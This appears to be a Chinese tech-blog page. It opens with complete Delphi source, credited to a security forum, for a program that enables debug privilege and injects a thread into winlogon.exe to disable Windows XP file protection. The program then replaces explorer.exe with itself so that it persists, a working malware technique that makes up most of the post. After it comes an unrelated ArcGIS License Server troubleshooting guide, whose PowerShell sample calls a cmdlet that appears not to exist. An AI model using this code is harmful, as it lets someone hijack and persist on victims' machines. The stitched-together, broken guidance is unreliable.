关闭XP保护。替换explorer.exe

导读:
  在偶的VPC上测试是可以的。没有更多的测试.
  偶并没有调用dllcache目录下的.你喜欢吧
  {*******************************************************}
  { }
  { 关闭XP保护。替换explorer.exe }
  { }
  { 版权所有 (C) 2008 bbs.secdst.net }
  { }
  {*******************************************************}
  program Project1;
  uses
  Windows,TlHelp32;
  function LowerCase(const S: string): string; //转小写
  var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
  begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <>0 do
  begin
  Ch := Source^;
  if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
  Dest^ := Ch;
  Inc(Source);
  Inc(Dest);
  Dec(L);
  end;
  end;
  function CreatedMutexEx(MutexName: Pchar): Boolean;
  var
  MutexHandle: dword;
  begin
  MutexHandle := CreateMutex(nil, True, MutexName);
  if MutexHandle <>0 then
  begin
  if GetLastError = ERROR_ALREADY_EXISTS then
  begin
  //CloseHandle(MutexHandle);
  Result := False;
  Exit;
  end;
  end;
  Result := True;
  end;
  function GetWinPath: string; //取WINDOWS目录
  var
  Buf: array[0..MAX_PATH] of char;
  begin
  GetWindowsDirectory(Buf, MAX_PATH);
  Result := Buf;
  if Result[Length(Result)]<>'/' then Result := Result + '/';
  end;
  function GetTempDirectory: string; //取临时目录
  var
  Buf: array[0..MAX_PATH] of char;
  begin
  GetTempPath(MAX_PATH,Buf);
  Result := Buf;
  if Result[Length(Result)]<>'/' then Result := Result + '/';
  end;
  function EnableDebugPriv : Boolean; //提权为DEBUG
  var
  hToken : THANDLE;
  tp : TTokenPrivileges;
  rl : Cardinal;
  begin
  result := false;
  OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
  if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then
  begin
  tp.PrivilegeCount := 1;
  tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
  result := AdjustTokenPrivileges(hToken, False, tp, sizeof(tp), nil, rl);
  end;
  end;
  procedure InjectThread(ProcessHandle: DWORD); //注入winlogon.exe 关闭XP文件保护
  var
  TID: LongWord;
  hSfc,hThread: HMODULE;
  pfnCloseEvents: Pointer;
  begin
  hSfc := LoadLibrary('sfc_os.dll');
  pfnCloseEvents := GetProcAddress(hSfc,MAKEINTRESOURCE(2));
  FreeLibrary(hSfc);
  hThread := CreateRemoteThread(ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID);
  WaitForSingleObject(hThread, 4000);
  end;
  procedure InitProcess(Name: string); //查找winlogon.exe进程PID
  var
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
  ProcessHandle:dword;
  begin
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
  if Process32First(FSnapshotHandle,FProcessEntry32) then begin
  repeat
  If Name = LowerCase(FProcessEntry32.szExeFile) then
  begin
  ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID);
  InjectThread(ProcessHandle);
  CloseHandle(ProcessHandle);
  Break;
  end;
  until not Process32Next(FSnapshotHandle,FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
  end;
  const ExpFile = 'explorer.exe';
  MasterMutex = 'OpenSoul';
  var
  s: string;
  begin
  if not CreatedMutexEx(MasterMutex) then ExitProcess(0); //互拆体
  if not EnableDebugPriv then Exit; //提权失败退出
  InitProcess('winlogon.exe') ;//注入winlogon.exe 先关闭xp的文件保护 .预防系统的还原
  s := ParamStr(0) ;//取本名
  if LowerCase(s) <>LowerCase(GetWinPath + ExpFile) then //判断自己是不是系统下的explorer.exe
  begin //如果不是
  MoveFileEx(PChar(GetWinPath + ExpFile),PChar(GetWinPath + 'system32/explorer.exe'),MOVEFILE_REPLACE_EXISTING); //先移动正在运行的explorer.exe
  CopyFile(PChar(S),PChar(GetWinPath+ ExpFile),false) ;//把自己复制到windows目录 为explorer.exe
  end;
  WinExec(PChar(GetWinPath + 'system32/explorer.exe'),1); //运行真正的explorer.exe
  end.
### 关于ArcGIS License Server无法启动的解决方案 当遇到ArcGIS License Server无法启动的情况,可以从以下几个方面排查并解决问题: #### 1. **检查网络配置** 确保License Server所在的计算机能够被其他客户端正常访问。如果是在局域网环境中部署了ArcGIS Server Local,则需要确认该环境下的网络设置是否允许远程连接AO组件[^1]。 #### 2. **验证服务状态** 检查ArcGIS Server Object Manager (SOM) 的运行情况。通常情况下,在Host SOM机器上需将此服务更改为由本地系统账户登录,并重启相关服务来恢复其正常工作流程[^2]。 #### 3. **审查日志文件** 查看ArcGIS License Manager的日志记录,寻找任何可能指示错误原因的信息。这些日志可以帮助识别具体是什么阻止了许可服务器的成功初始化。 #### 4. **权限问题** 确认用于启动ArcGIS License Server的服务账号具有足够的权限执行所需操作。这包括但不限于读取/写入特定目录的权利以及与其他必要进程通信的能力。 #### 5. **软件版本兼容性** 保证所使用的ArcGIS产品及其依赖项之间存在良好的版本匹配度。不一致可能会导致意外行为完全失败激活license server的功能。 #### 示例代码片段:修改服务登录身份 以下是更改Windows服务登录凭据的一个简单PowerShell脚本例子: ```powershell $serviceName = "ArcGISServerObjectManager" $newUsername = ".\LocalSystemUser" # 替换为实际用户名 $newPassword = ConvertTo-SecureString "" -AsPlainText -Force Set-Service -Name $serviceName -StartupType Automatic New-ServiceCredential -ServiceName $serviceName -Account $newUsername -Password $newPassword Restart-Service -Name $serviceName ``` 上述脚本仅作为示范用途,请依据实际情况调整参数值后再实施。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值